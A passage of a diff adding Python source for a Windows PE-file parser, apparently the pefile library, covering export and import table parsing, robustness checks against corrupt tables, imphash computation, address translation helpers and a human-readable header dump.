collections.defaultdict(int) + export_parsing_loop_completed_normally = True + for idx in range(min(export_dir.NumberOfFunctions, int(safety_boundary / 4))): + + if not idx + export_dir.Base in ordinals: + try: + symbol_address = self.get_dword_from_data(address_of_functions, idx) + except PEFormatError: + symbol_address = None + + if symbol_address is None: + max_failed_entries_before_giving_up -= 1 + if max_failed_entries_before_giving_up <= 0: + export_parsing_loop_completed_normally = False + break + + if symbol_address == 0: + continue + + # Checking for forwarder again. + if ( + symbol_address is not None + and symbol_address >= rva + and symbol_address < rva + size + ): + forwarder_str = self.get_string_at_rva(symbol_address) + else: + forwarder_str = None + + # File 0b1d3d3664915577ab9a32188d29bbf3542b86c7b9ce333e245496c3018819f1 + # was being parsed as potentially containing millions of exports. + # Checking for duplicates addresses the issue. + symbol_counts[symbol_address] += 1 + if symbol_counts[symbol_address] > self.max_repeated_symbol: + # if most_common and most_common[0][1] > 10: + self.__warnings.append( + "Export directory contains more than {} repeated " + "ordinal entries (0x{:x}). Assuming corrupt.".format( + self.max_repeated_symbol, symbol_address + ) + ) + break + elif len(symbol_counts) > self.max_symbol_exports: + self.__warnings.append( + "Export directory contains more than " + f"{self.max_symbol_exports} ordinal entries. Assuming corrupt." + ) + break + + exports.append( + ExportData( + ordinal=export_dir.Base + idx, + address=symbol_address, + name=None, + forwarder=forwarder_str, + ) + ) + + if not export_parsing_loop_completed_normally: + self.__warnings.append( + "RVA AddressOfFunctions in the export directory points to an invalid " + f"address: {export_dir.AddressOfFunctions:x}" + ) + return + + if not exports and export_dir.all_zeroes(): + return None + return ExportDirData( + struct=export_dir, + symbols=exports, + name=self.get_string_at_rva(export_dir.Name), + ) + + def dword_align(self, offset, base): + return ((offset + base + 3) & 0xFFFFFFFC) - (base & 0xFFFFFFFC) + + def normalize_import_va(self, va): + + # Setup image range + begin_of_image = self.OPTIONAL_HEADER.ImageBase + end_of_image = self.OPTIONAL_HEADER.ImageBase + self.OPTIONAL_HEADER.SizeOfImage + + # Try to avoid bogus VAs, which are out of the image. + # This also filters out entries that are zero + if begin_of_image <= va and va < end_of_image: + va -= begin_of_image + return va + + def parse_delay_import_directory(self, rva, size): + """Walk and parse the delay import directory.""" + + import_descs = [] + error_count = 0 + while True: + try: + # If the RVA is invalid all would blow up. Some PEs seem to be + # specially nasty and have an invalid RVA. + data = self.get_data( + rva, + Structure(self.__IMAGE_DELAY_IMPORT_DESCRIPTOR_format__).sizeof(), + ) + except PEFormatError: + self.__warnings.append( + "Error parsing the Delay import directory at RVA: 0x%x" % (rva) + ) + break + + file_offset = self.get_offset_from_rva(rva) + import_desc = self.__unpack_data__( + self.__IMAGE_DELAY_IMPORT_DESCRIPTOR_format__, + data, + file_offset=file_offset, + ) + + # If the structure is all zeros, we reached the end of the list + if not import_desc or import_desc.all_zeroes(): + break + contains_addresses = False + + # Handle old import descriptor that has Virtual Addresses instead of RVAs + # This version of import descriptor is created by old Visual Studio versions + # (pre 6.0) + # Can only be present in 32-bit binaries (no 64-bit compiler existed at the + # time) + # Sample: e8d3bff0c1a9a6955993f7a441121a2692261421e82fdfadaaded45d3bea9980 + if ( + import_desc.grAttrs == 0 + and self.FILE_HEADER.Machine == MACHINE_TYPE["IMAGE_FILE_MACHINE_I386"] + ): + import_desc.pBoundIAT = self.normalize_import_va(import_desc.pBoundIAT) + import_desc.pIAT = self.normalize_import_va(import_desc.pIAT) + import_desc.pINT = self.normalize_import_va(import_desc.pINT) + import_desc.pUnloadIAT = self.normalize_import_va( + import_desc.pUnloadIAT + ) + import_desc.phmod = self.normalize_import_va(import_desc.pUnloadIAT) + import_desc.szName = self.normalize_import_va(import_desc.szName) + contains_addresses = True + + rva += import_desc.sizeof() + + # If the array of thunks is somewhere earlier than the import + # descriptor we can set a maximum length for the array. Otherwise + # just set a maximum length of the size of the file + max_len = len(self.__data__) - file_offset + if rva > import_desc.pINT or rva > import_desc.pIAT: + max_len = max(rva - import_desc.pINT, rva - import_desc.pIAT) + + import_data = [] + try: + import_data = self.parse_imports( + import_desc.pINT, + import_desc.pIAT, + None, + max_len, + contains_addresses, + ) + except PEFormatError as excp: + self.__warnings.append( + "Error parsing the Delay import directory. " + "Invalid import data at RVA: 0x{0:x} ({1})".format(rva, excp.value) + ) + + if error_count > 5: + self.__warnings.append( + "Too many errors parsing the Delay import directory. " + "Invalid import data at RVA: 0x{0:x}".format(rva) + ) + break + + if not import_data: + error_count += 1 + continue + + if self.__total_import_symbols > MAX_IMPORT_SYMBOLS: + self.__warnings.append( + "Error, too many imported symbols %d (>%s)" + % (self.__total_import_symbols, MAX_IMPORT_SYMBOLS) + ) + break + + dll = self.get_string_at_rva(import_desc.szName, MAX_DLL_LENGTH) + if not is_valid_dos_filename(dll): + dll = b("*invalid*") + + if dll: + for symbol in import_data: + if symbol.name is None: + funcname = ordlookup.ordLookup(dll.lower(), symbol.ordinal) + if funcname: + symbol.name = funcname + import_descs.append( + ImportDescData(struct=import_desc, imports=import_data, dll=dll) + ) + + return import_descs + + def get_rich_header_hash(self, algorithm="md5"): + if not hasattr(self, "RICH_HEADER") or self.RICH_HEADER is None: + return "" + + if algorithm == "md5": + return md5(self.RICH_HEADER.clear_data).hexdigest() + elif algorithm == "sha1": + return sha1(self.RICH_HEADER.clear_data).hexdigest() + elif algorithm == "sha256": + return sha256(self.RICH_HEADER.clear_data).hexdigest() + elif algorithm == "sha512": + return sha512(self.RICH_HEADER.clear_data).hexdigest() + + raise Exception("Invalid hashing algorithm specified") + + def get_imphash(self): + impstrs = [] + exts = ["ocx", "sys", "dll"] + if not hasattr(self, "DIRECTORY_ENTRY_IMPORT"): + return "" + for entry in self.DIRECTORY_ENTRY_IMPORT: + if isinstance(entry.dll, bytes): + libname = entry.dll.decode().lower() + else: + libname = entry.dll.lower() + parts = libname.rsplit(".", 1) + + if len(parts) > 1 and parts[1] in exts: + libname = parts[0] + + entry_dll_lower = entry.dll.lower() + for imp in entry.imports: + funcname = None + if not imp.name: + funcname = ordlookup.ordLookup( + entry_dll_lower, imp.ordinal, make_name=True + ) + if not funcname: + raise PEFormatError( + f"Unable to look up ordinal {entry.dll}:{imp.ordinal:04x}" + ) + else: + funcname = imp.name + + if not funcname: + continue + + if isinstance(funcname, bytes): + funcname = funcname.decode() + impstrs.append("%s.%s" % (libname.lower(), funcname.lower())) + + return md5(",".join(impstrs).encode()).hexdigest() + + def parse_import_directory(self, rva, size, dllnames_only=False): + """Walk and parse the import directory.""" + + import_descs = [] + error_count = 0 + image_import_descriptor_size = Structure( + self.__IMAGE_IMPORT_DESCRIPTOR_format__ + ).sizeof() + while True: + try: + # If the RVA is invalid all would blow up. Some EXEs seem to be + # specially nasty and have an invalid RVA. + data = self.get_data(rva, image_import_descriptor_size) + except PEFormatError: + self.__warnings.append( + f"Error parsing the import directory at RVA: 0x{rva:x}" + ) + break + + file_offset = self.get_offset_from_rva(rva) + import_desc = self.__unpack_data__( + self.__IMAGE_IMPORT_DESCRIPTOR_format__, data, file_offset=file_offset + ) + + # If the structure is all zeros, we reached the end of the list + if not import_desc or import_desc.all_zeroes(): + break + + rva += import_desc.sizeof() + + # If the array of thunks is somewhere earlier than the import + # descriptor we can set a maximum length for the array. Otherwise + # just set a maximum length of the size of the file + max_len = len(self.__data__) - file_offset + if rva > import_desc.OriginalFirstThunk or rva > import_desc.FirstThunk: + max_len = max( + rva - import_desc.OriginalFirstThunk, rva - import_desc.FirstThunk + ) + + import_data = [] + if not dllnames_only: + try: + import_data = self.parse_imports( + import_desc.OriginalFirstThunk, + import_desc.FirstThunk, + import_desc.ForwarderChain, + max_length=max_len, + ) + except PEFormatError as e: + self.__warnings.append( + "Error parsing the import directory. " + f"Invalid Import data at RVA: 0x{rva:x} ({e.value})" + ) + + if error_count > 5: + self.__warnings.append( + "Too many errors parsing the import directory. " + f"Invalid import data at RVA: 0x{rva:x}" + ) + break + + if not import_data: + error_count += 1 + # TODO: do not continue here + continue + + dll = self.get_string_at_rva(import_desc.Name, MAX_DLL_LENGTH) + if not is_valid_dos_filename(dll): + dll = b("*invalid*") + + if dll: + for symbol in import_data: + if symbol.name is None: + funcname = ordlookup.ordLookup(dll.lower(), symbol.ordinal) + if funcname: + symbol.name = funcname + import_descs.append( + ImportDescData(struct=import_desc, imports=import_data, dll=dll) + ) + + if not dllnames_only: + suspicious_imports = set(["LoadLibrary", "GetProcAddress"]) + suspicious_imports_count = 0 + total_symbols = 0 + for imp_dll in import_descs: + for symbol in imp_dll.imports: + for suspicious_symbol in suspicious_imports: + if not symbol or not symbol.name: + continue + name = symbol.name + if type(symbol.name) == bytes: + name = symbol.name.decode("utf-8") + if name.startswith(suspicious_symbol): + suspicious_imports_count += 1 + break + total_symbols += 1 + if ( + suspicious_imports_count == len(suspicious_imports) + and total_symbols < 20 + ): + self.__warnings.append( + "Imported symbols contain entries typical of packed executables." + ) + + return import_descs + + def parse_imports( + self, + original_first_thunk, + first_thunk, + forwarder_chain, + max_length=None, + contains_addresses=False, + ): + """Parse the imported symbols. + + It will fill a list, which will be available as the dictionary + attribute "imports". Its keys will be the DLL names and the values + of all the symbols imported from that object. + """ + + imported_symbols = [] + + # Import Lookup Table. Contains ordinals or pointers to strings. + ilt = self.get_import_table( + original_first_thunk, max_length, contains_addresses + ) + # Import Address Table. May have identical content to ILT if + # PE file is not bound. It will contain the address of the + # imported symbols once the binary is loaded or if it is already + # bound. + iat = self.get_import_table(first_thunk, max_length, contains_addresses) + + # OC Patch: + # Would crash if IAT or ILT had None type + if (not iat or len(iat) == 0) and (not ilt or len(ilt) == 0): + self.__warnings.append( + "Damaged Import Table information. " + "ILT and/or IAT appear to be broken. " + f"OriginalFirstThunk: 0x{original_first_thunk:x} " + f"FirstThunk: 0x{first_thunk:x}" + ) + return [] + + table = None + if ilt: + table = ilt + elif iat: + table = iat + else: + return None + + imp_offset = 4 + address_mask = 0x7FFFFFFF + if self.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE: + ordinal_flag = IMAGE_ORDINAL_FLAG + elif self.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS: + ordinal_flag = IMAGE_ORDINAL_FLAG64 + imp_offset = 8 + address_mask = 0x7FFFFFFFFFFFFFFF + else: + # Some PEs may have an invalid value in the Magic field of the + # Optional Header. Just in case the remaining file is parseable + # let's pretend it's a 32bit PE32 by default. + ordinal_flag = IMAGE_ORDINAL_FLAG + + num_invalid = 0 + for idx, tbl_entry in enumerate(table): + imp_ord = None + imp_hint = None + imp_name = None + name_offset = None + hint_name_table_rva = None + import_by_ordinal = False # declare it here first + + if tbl_entry.AddressOfData: + # If imported by ordinal, we will append the ordinal number + # + if tbl_entry.AddressOfData & ordinal_flag: + import_by_ordinal = True + imp_ord = tbl_entry.AddressOfData & 0xFFFF + imp_name = None + name_offset = None + else: + import_by_ordinal = False + try: + hint_name_table_rva = tbl_entry.AddressOfData & address_mask + data = self.get_data(hint_name_table_rva, 2) + # Get the Hint + imp_hint = self.get_word_from_data(data, 0) + imp_name = self.get_string_at_rva( + tbl_entry.AddressOfData + 2, MAX_IMPORT_NAME_LENGTH + ) + if not is_valid_function_name(imp_name): + imp_name = b("*invalid*") + + name_offset = self.get_offset_from_rva( + tbl_entry.AddressOfData + 2 + ) + except PEFormatError: + pass + + # by nriva: we want the ThunkRVA and ThunkOffset + thunk_offset = tbl_entry.get_file_offset() + thunk_rva = self.get_rva_from_offset(thunk_offset) + + imp_address = ( + first_thunk + self.OPTIONAL_HEADER.ImageBase + idx * imp_offset + ) + + struct_iat = None + try: + if iat and ilt and ilt[idx].AddressOfData != iat[idx].AddressOfData: + imp_bound = iat[idx].AddressOfData + struct_iat = iat[idx] + else: + imp_bound = None + except IndexError: + imp_bound = None + + # The file with hashes: + # + # MD5: bfe97192e8107d52dd7b4010d12b2924 + # SHA256: 3d22f8b001423cb460811ab4f4789f277b35838d45c62ec0454c877e7c82c7f5 + # + # has an invalid table built in a way that it's parseable but contains + # invalid entries that lead pefile to take extremely long amounts of time to + # parse. It also leads to extreme memory consumption. + # To prevent similar cases, if invalid entries are found in the middle of a + # table the parsing will be aborted + # + if imp_ord is None and imp_name is None: + raise PEFormatError("Invalid entries, aborting parsing.") + + # Some PEs appear to interleave valid and invalid imports. Instead of + # aborting the parsing altogether we will simply skip the invalid entries. + # Although if we see 1000 invalid entries and no legit ones, we abort. + if imp_name == b("*invalid*"): + if num_invalid > 1000 and num_invalid == idx: + raise PEFormatError("Too many invalid names, aborting parsing.") + num_invalid += 1 + continue + + if imp_ord or imp_name: + imported_symbols.append( + ImportData( + pe=self, + struct_table=tbl_entry, + struct_iat=struct_iat, # for bound imports if any + import_by_ordinal=import_by_ordinal, + ordinal=imp_ord, + ordinal_offset=tbl_entry.get_file_offset(), + hint=imp_hint, + name=imp_name, + name_offset=name_offset, + bound=imp_bound, + address=imp_address, + hint_name_table_rva=hint_name_table_rva, + thunk_offset=thunk_offset, + thunk_rva=thunk_rva, + ) + ) + + return imported_symbols + + def get_import_table(self, rva, max_length=None, contains_addresses=False): + + table = [] + + # We need the ordinal flag for a simple heuristic + # we're implementing within the loop + # + if self.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE: + ordinal_flag = IMAGE_ORDINAL_FLAG + format = self.__IMAGE_THUNK_DATA_format__ + elif self.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS: + ordinal_flag = IMAGE_ORDINAL_FLAG64 + format = self.__IMAGE_THUNK_DATA64_format__ + else: + # Some PEs may have an invalid value in the Magic field of the + # Optional Header. Just in case the remaining file is parseable + # let's pretend it's a 32bit PE32 by default. + ordinal_flag = IMAGE_ORDINAL_FLAG + format = self.__IMAGE_THUNK_DATA_format__ + + expected_size = Structure(format).sizeof() + MAX_ADDRESS_SPREAD = 128 * 2**20 # 128 MB + ADDR_4GB = 2**32 + MAX_REPEATED_ADDRESSES = 15 + repeated_address = 0 + addresses_of_data_set_64 = AddressSet() + addresses_of_data_set_32 = AddressSet() + start_rva = rva + while rva: + if max_length is not None and rva >= start_rva + max_length: + self.__warnings.append( + "Error parsing the import table. Entries go beyond bounds." + ) + break + # Enforce an upper bounds on import symbols. + if self.__total_import_symbols > MAX_IMPORT_SYMBOLS: + self.__warnings.append( + "Excessive number of imports %d (>%s)" + % (self.__total_import_symbols, MAX_IMPORT_SYMBOLS) + ) + break + + self.__total_import_symbols += 1 + + # if we see too many times the same entry we assume it could be + # a table containing bogus data (with malicious intent or otherwise) + if repeated_address >= MAX_REPEATED_ADDRESSES: + return [] + + # if the addresses point somewhere but the difference between the highest + # and lowest address is larger than MAX_ADDRESS_SPREAD we assume a bogus + # table as the addresses should be contained within a module + if addresses_of_data_set_32.diff() > MAX_ADDRESS_SPREAD: + return [] + if addresses_of_data_set_64.diff() > MAX_ADDRESS_SPREAD: + return [] + + failed = False + try: + data = self.get_data(rva, expected_size) + except PEFormatError: + failed = True + + if failed or len(data) != expected_size: + self.__warnings.append( + "Error parsing the import table. " "Invalid data at RVA: 0x%x" % rva + ) + return None + + thunk_data = self.__unpack_data__( + format, data, file_offset=self.get_offset_from_rva(rva) + ) + + # If the thunk data contains VAs instead of RVAs, we need to normalize them + if contains_addresses: + thunk_data.AddressOfData = self.normalize_import_va( + thunk_data.AddressOfData + ) + thunk_data.ForwarderString = self.normalize_import_va( + thunk_data.ForwarderString + ) + thunk_data.Function = self.normalize_import_va(thunk_data.Function) + thunk_data.Ordinal = self.normalize_import_va(thunk_data.Ordinal) + + # Check if the AddressOfData lies within the range of RVAs that it's + # being scanned, abort if that is the case, as it is very unlikely + # to be legitimate data. + # Seen in PE with SHA256: + # 5945bb6f0ac879ddf61b1c284f3b8d20c06b228e75ae4f571fa87f5b9512902c + if ( + thunk_data + and thunk_data.AddressOfData >= start_rva + and thunk_data.AddressOfData <= rva + ): + self.__warnings.append( + "Error parsing the import table. " + "AddressOfData overlaps with THUNK_DATA for " + "THUNK at RVA 0x%x" % (rva) + ) + break + + if thunk_data and thunk_data.AddressOfData: + addr_of_data = thunk_data.AddressOfData + # If the entry looks like could be an ordinal... + if addr_of_data & ordinal_flag: + # but its value is beyond 2^16, we will assume it's a + # corrupted and ignore it altogether + if addr_of_data & 0x7FFFFFFF > 0xFFFF: + return [] + # and if it looks like it should be an RVA + else: + # keep track of the RVAs seen and store them to study their + # properties. When certain non-standard features are detected + # the parsing will be aborted + if addr_of_data >= ADDR_4GB: + the_set = addresses_of_data_set_64 + else: + the_set = addresses_of_data_set_32 + + if addr_of_data in the_set: + repeated_address += 1 + the_set.add(addr_of_data) + + if not thunk_data or thunk_data.all_zeroes(): + break + + rva += thunk_data.sizeof() + + table.append(thunk_data) + + return table + + def get_memory_mapped_image(self, max_virtual_address=0x10000000, ImageBase=None): + """Returns the data corresponding to the memory layout of the PE file. + + The data includes the PE header and the sections loaded at offsets + corresponding to their relative virtual addresses. (the VirtualAddress + section header member). + Any offset in this data corresponds to the absolute memory address + ImageBase+offset. + + The optional argument 'max_virtual_address' provides with means of limiting + which sections are processed. + Any section with their VirtualAddress beyond this value will be skipped. + Normally, sections with values beyond this range are just there to confuse + tools. It's a common trick to see in packed executables. + + If the 'ImageBase' optional argument is supplied, the file's relocations + will be applied to the image by calling the 'relocate_image()' method. Beware + that the relocation information is applied permanently. + """ + + # Rebase if requested + # + if ImageBase is not None: + + # Keep a copy of the image's data before modifying it by rebasing it + # + original_data = self.__data__ + + self.relocate_image(ImageBase) + + # Collect all sections in one code block + mapped_data = self.__data__[:] + for section in self.sections: + + # Miscellaneous integrity tests. + # Some packer will set these to bogus values to make tools go nuts. + if section.Misc_VirtualSize == 0 and section.SizeOfRawData == 0: + continue + + srd = section.SizeOfRawData + prd = self.adjust_FileAlignment( + section.PointerToRawData, self.OPTIONAL_HEADER.FileAlignment + ) + VirtualAddress_adj = self.adjust_SectionAlignment( + section.VirtualAddress, + self.OPTIONAL_HEADER.SectionAlignment, + self.OPTIONAL_HEADER.FileAlignment, + ) + + if ( + srd > len(self.__data__) + or prd > len(self.__data__) + or srd + prd > len(self.__data__) + or VirtualAddress_adj >= max_virtual_address + ): + continue + + padding_length = VirtualAddress_adj - len(mapped_data) + + if padding_length > 0: + mapped_data += b"\0" * padding_length + elif padding_length < 0: + mapped_data = mapped_data[:padding_length] + + mapped_data += section.get_data() + + # If the image was rebased, restore it to its original form + # + if ImageBase is not None: + self.__data__ = original_data + + return mapped_data + + def get_resources_strings(self): + """Returns a list of all the strings found withing the resources (if any). + + This method will scan all entries in the resources directory of the PE, if + there is one, and will return a [] with the strings. + + An empty list will be returned otherwise. + """ + + resources_strings = [] + + if hasattr(self, "DIRECTORY_ENTRY_RESOURCE"): + + for res_type in self.DIRECTORY_ENTRY_RESOURCE.entries: + if hasattr(res_type, "directory"): + for resource_id in res_type.directory.entries: + if hasattr(resource_id, "directory"): + if ( + hasattr(resource_id.directory, "strings") + and resource_id.directory.strings + ): + for res_string in list( + resource_id.directory.strings.values() + ): + resources_strings.append(res_string) + + return resources_strings + + def get_data(self, rva=0, length=None): + """Get data regardless of the section where it lies on. + + Given a RVA and the size of the chunk to retrieve, this method + will find the section where the data lies and return the data. + """ + + s = self.get_section_by_rva(rva) + + if length: + end = rva + length + else: + end = None + + if not s: + if rva < len(self.header): + return self.header[rva:end] + + # Before we give up we check whether the file might + # contain the data anyway. There are cases of PE files + # without sections that rely on windows loading the first + # 8291 bytes into memory and assume the data will be + # there + # A functional file with these characteristics is: + # MD5: 0008892cdfbc3bda5ce047c565e52295 + # SHA-1: c7116b9ff950f86af256defb95b5d4859d4752a9 + # + if rva < len(self.__data__): + return self.__data__[rva:end] + + raise PEFormatError("data at RVA can't be fetched. Corrupt header?") + + return s.get_data(rva, length) + + def get_rva_from_offset(self, offset): + """Get the RVA corresponding to this file offset.""" + + s = self.get_section_by_offset(offset) + if not s: + if self.sections: + lowest_rva = min( + [ + self.adjust_SectionAlignment( + s.VirtualAddress, + self.OPTIONAL_HEADER.SectionAlignment, + self.OPTIONAL_HEADER.FileAlignment, + ) + for s in self.sections + ] + ) + if offset < lowest_rva: + # We will assume that the offset lies within the headers, or + # at least points before where the earliest section starts + # and we will simply return the offset as the RVA + # + # The case illustrating this behavior can be found at: + # http://corkami.blogspot.com/2010/01/hey-hey-hey-whats-in-your-head.html + # where the import table is not contained by any section + # hence the RVA needs to be resolved to a raw offset + return offset + return None + else: + return offset + return s.get_rva_from_offset(offset) + + def get_offset_from_rva(self, rva): + """Get the file offset corresponding to this RVA. + + Given a RVA , this method will find the section where the + data lies and return the offset within the file. + """ + + s = self.get_section_by_rva(rva) + if not s: + + # If not found within a section assume it might + # point to overlay data or otherwise data present + # but not contained in any section. In those + # cases the RVA should equal the offset + if rva < len(self.__data__): + return rva + + raise PEFormatError(f"data at RVA 0x{rva:x} can't be fetched") + + return s.get_offset_from_rva(rva) + + def get_string_at_rva(self, rva, max_length=MAX_STRING_LENGTH): + """Get an ASCII string located at the given address.""" + + if rva is None: + return None + + s = self.get_section_by_rva(rva) + if not s: + return self.get_string_from_data(0, self.__data__[rva : rva + max_length]) + return self.get_string_from_data(0, s.get_data(rva, length=max_length)) + + def get_bytes_from_data(self, offset, data): + """.""" + if offset > len(data): + return b"" + d = data[offset:] + if isinstance(d, bytearray): + return bytes(d) + return d + + def get_string_from_data(self, offset, data): + """Get an ASCII string from data.""" + s = self.get_bytes_from_data(offset, data) + end = s.find(b"\0") + if end >= 0: + s = s[:end] + return s + + def get_string_u_at_rva(self, rva, max_length=2**16, encoding=None): + """Get an Unicode string located at the given address.""" + + if max_length == 0: + return b"" + + # If the RVA is invalid let the exception reach the callers. All + # call-sites of get_string_u_at_rva() will handle it. + data = self.get_data(rva, 2) + # max_length is the maximum count of 16bit characters needs to be + # doubled to get size in bytes + max_length <<= 1 + + requested = min(max_length, 256) + data = self.get_data(rva, requested) + # try to find null-termination + null_index = -1 + while True: + null_index = data.find(b"\x00\x00", null_index + 1) + if null_index == -1: + data_length = len(data) + if data_length < requested or data_length == max_length: + null_index = len(data) >> 1 + break + + # Request remaining part of data limited by max_length + data += self.get_data(rva + data_length, max_length - data_length) + null_index = requested - 1 + requested = max_length + + elif null_index % 2 == 0: + null_index >>= 1 + break + + # convert selected part of the string to unicode + uchrs = struct.unpack("<{:d}H".format(null_index), data[: null_index * 2]) + s = "".join(map(chr, uchrs)) + + if encoding: + return b(s.encode(encoding, "backslashreplace_")) + + return b(s.encode("utf-8", "backslashreplace_")) + + def get_section_by_offset(self, offset): + """Get the section containing the given file offset.""" + + for section in self.sections: + if section.contains_offset(offset): + return section + + return None + + def get_section_by_rva(self, rva): + """Get the section containing the given address.""" + + # if we look a lot of times at RVA in the same section, "cache" the last used section + # to speedup lookups (very useful when parsing import table) + if self._get_section_by_rva_last_used is not None: + if self._get_section_by_rva_last_used.contains_rva(rva): + return self._get_section_by_rva_last_used + + for section in self.sections: + if section.contains_rva(rva): + self._get_section_by_rva_last_used = section + return section + + return None + + def __str__(self): + return self.dump_info() + + def has_relocs(self): + """Checks if the PE file has relocation directory""" + return hasattr(self, "DIRECTORY_ENTRY_BASERELOC") + + def print_info(self, encoding="utf-8"): + """Print all the PE header information in a human readable from.""" + print(self.dump_info(encoding=encoding)) + + def dump_info(self, dump=None, encoding="ascii"): + """Dump all the PE header information into human readable string.""" + + if dump is None: + dump = Dump() + + warnings = self.get_warnings() + if warnings: + dump.add_header("Parsing Warnings") + for warning in warnings: + dump.add_line(warning) + dump.add_newline() + + dump.add_header("DOS_HEADER") + dump.add_lines(self.DOS_HEADER.dump()) + dump.add_newline() + + dump.add_header("NT_HEADERS") + dump.add_lines(self.NT_HEADERS.dump()) + dump.add_newline() + + dump.add_header("FILE_HEADER") + dump.add_lines(self.FILE_HEADER.dump()) + + image_flags = retrieve_flags(IMAGE_CHARACTERISTICS, "IMAGE_FILE_") + + dump.add("Flags: ") + flags = [] + for flag in sorted(image_flags): + if getattr(self.FILE_HEADER, flag[0]): + flags.append(flag[0]) + dump.add_line(", ".join(flags)) + dump.add_newline() + + if hasattr(self, "OPTIONAL_HEADER") and self.OPTIONAL_HEADER is not None: + dump.add_header("OPTIONAL_HEADER") + dump.add_lines(self.OPTIONAL_HEADER.dump()) + + dll_characteristics_flags = retrieve_flags( + DLL_CHARACTERISTICS, "IMAGE_DLLCHARACTERISTICS_" + ) + + dump.add("DllCharacteristics: ") + flags = [] + for flag in sorted(dll_characteristics_flags): + if getattr(self.OPTIONAL_HEADER, flag[0]): + flags.append(flag[0]) + dump.add_line(", ".join(flags)) + dump.add_newline() + + dump.add_header("PE Sections") + + section_flags = retrieve_flags(SECTION_CHARACTERISTICS, "IMAGE_SCN_") + + for section in self.sections: + dump.add_lines(section.dump()) + dump.add("Flags: ") + flags = [] + for flag in sorted(section_flags): + if getattr(section, flag[0]): + flags.append(flag[0]) + dump.add_line(", ".join(flags)) + dump.add_line( + "Entropy: {0:f} (Min=0.0, Max=8.0)".format(section.get_entropy()) + ) + if md5 is not None: + dump.add_line("MD5 hash: {0}".format(section.get_hash_md5())) + if sha1 is not None: + dump.add_line("SHA-1 hash: %s" % section.get_hash_sha1()) + if sha256 is not None: + dump.add_line("SHA-256 hash: %s" % section.get_hash_sha256()) + if sha512 is not None: + dump.add_line("SHA-512 hash: %s" % section.get_hash_sha512()) + dump.add_newline() + + if hasattr(self, "OPTIONAL_HEADER") and hasattr( + self.OPTIONAL_HEADER, "DATA_DIRECTORY" + ): + + dump.add_header("Directories") + for directory in self.OPTIONAL_HEADER.DATA_DIRECTORY: + if directory is not None: + dump.add_lines(directory.dump()) + dump.add_newline() + + if hasattr(self, "VS_VERSIONINFO"): + for idx, vinfo_entry in enumerate(self.VS_VERSIONINFO): + if len(self.VS_VERSIONINFO) > 1: + dump.add_header(f"Version Information {idx + 1}") + else: + dump.add_header("Version Information") + if vinfo_entry is not None: + dump.add_lines(vinfo_entry.dump()) + dump.add_newline() + + if hasattr(self, "VS_FIXEDFILEINFO"): + dump.add_lines(self.VS_FIXEDFILEINFO[idx].dump()) + dump.add_newline() + + if hasattr(self, "FileInfo") and len(self.FileInfo) > idx: + for entry in self.FileInfo[idx]: + dump.add_lines(entry.dump()) + dump.add_newline() + + if hasattr(entry, "StringTable"): + for st_entry in entry.StringTable: + [dump.add_line(" " + line) for line in st_entry.dump()] + dump.add_line( + " LangID: {0}".format( + st_entry.LangID.decode( + encoding, "backslashreplace_" + ) + ) + ) + dump.add_newline() + for str_entry in sorted(list(st_entry.entries.items())): + # try: + dump.add_line( + " {0}: {1}".format( + str_entry[0].decode( + encoding, "backslashreplace_" + ), + str_entry[1].decode( + encoding, "backslashreplace_" + ), + ) + ) + + dump.add_newline() + + elif hasattr(entry, "Var"): + for var_entry in entry.Var: + if hasattr(var_entry, "entry"): + [ + dump.add_line(" " + line) + for line in var_entry.dump() + ] + dump.add_line( + " {0}: {1}".format( + list(var_entry.entry.keys())[0].decode( + "utf-8", "backslashreplace_" + ), + list(var_entry.entry.values())[0], + ) + ) + + dump.add_newline() + + if hasattr(self, "DIRECTORY_ENTRY_EXPORT"): + dump.add_header("Exported symbols") + dump.add_lines(self.DIRECTORY_ENTRY_EXPORT.struct.dump()) + dump.add_newline() + dump.add_line("%-10s %-10s %s" % ("Ordinal", "RVA", "Name")) + for export in self.DIRECTORY_ENTRY_EXPORT.symbols: + if export.address is not None: + name = b("None") + if export.name: + name = export.name + dump.add( + "%-10d 0x%08X %s" + % (export.ordinal, export.address, name.decode(encoding)) + ) + if export.forwarder: + dump.add_line( + " forwarder: {0}".format( + export.forwarder.decode(encoding, "backslashreplace_") + ) + ) + else: + dump.add_newline() + + dump.add_newline() + + if hasattr(self, "DIRECTORY_ENTRY_IMPORT"): + dump.add_header("Imported symbols") + for module in self.DIRECTORY_ENTRY_IMPORT: + dump.add_lines(module.struct.dump()) + # Print the name of the DLL if there are no imports. + if not module.imports: + dump.add( + " Name -> {0}".format( + self.get_string_at_rva(module.struct.Name).decode( + encoding, "backslashreplace_" + ) + ) + ) + dump.add_newline() + dump.add_newline() + for symbol in module.imports: + if symbol.import_by_ordinal is True: + if symbol.name is not None: + dump.add( + "{0}.{1} Ordinal[{2}] (Imported by Ordinal)".format( + module.dll.decode("utf-8"), + symbol.name.decode("utf-8"), + symbol.ordinal, + ) + ) + else: + dump.add( + "{0} Ordinal[{1}] (Imported by Ordinal)".format( + module.dll.decode("utf-8"), symbol.ordinal + ) + ) + else: + dump.add( + "{0}.{1} Hint[{2:d}]".format( + module.dll.decode(encoding, "backslashreplace_"), + symbol.name.decode(encoding, "backslashreplace_"), + symbol.hint, + ) + ) + + if symbol.bound: + dump.add_line(" Bound: 0x{0:08X}".format(symbol.bound)) + else: + dump.add_newline() + dump.add_newline() + + if hasattr(self, "DIRECTORY_ENTRY_BOUND_IMPORT"): + dump.add_header("Bound imports") + for bound_imp_desc in self.DIRECTORY_ENTRY_BOUND_IMPORT: + + dump.add_lines(bound_imp_desc.struct.dump()) + dump.add_line( + "DLL: {0}".format( + bound_imp_desc.name.decode(encoding, "backslashreplace_") + ) + ) + dump.add_newline() + + for bound_imp_ref in bound_imp_desc.entries: + dump.add_lines(bound_imp_ref.struct.dump(), 4) + dump.add_line( + "DLL: {0}".format( + bound_imp_ref.name.decode(encoding, "backslashreplace_") + ), + 4, + ) + dump.add_newline() + + if hasattr(self, "DIRECTORY_ENTRY_DELAY_IMPORT"): + dump.add_header("Delay Imported symbols") + for module in self.DIRECTORY_ENTRY_DELAY_IMPORT: + + dump.add_lines(module.struct.dump()) + dump.add_newline() + + for symbol in module.imports: + if symbol.import_by_ordinal is True: + dump.add( + "{0} Ordinal[{1:d}] (Imported by Ordinal)".format( + module.dll.decode(encoding, "backslashreplace_"), + symbol.ordinal, + ) + ) + 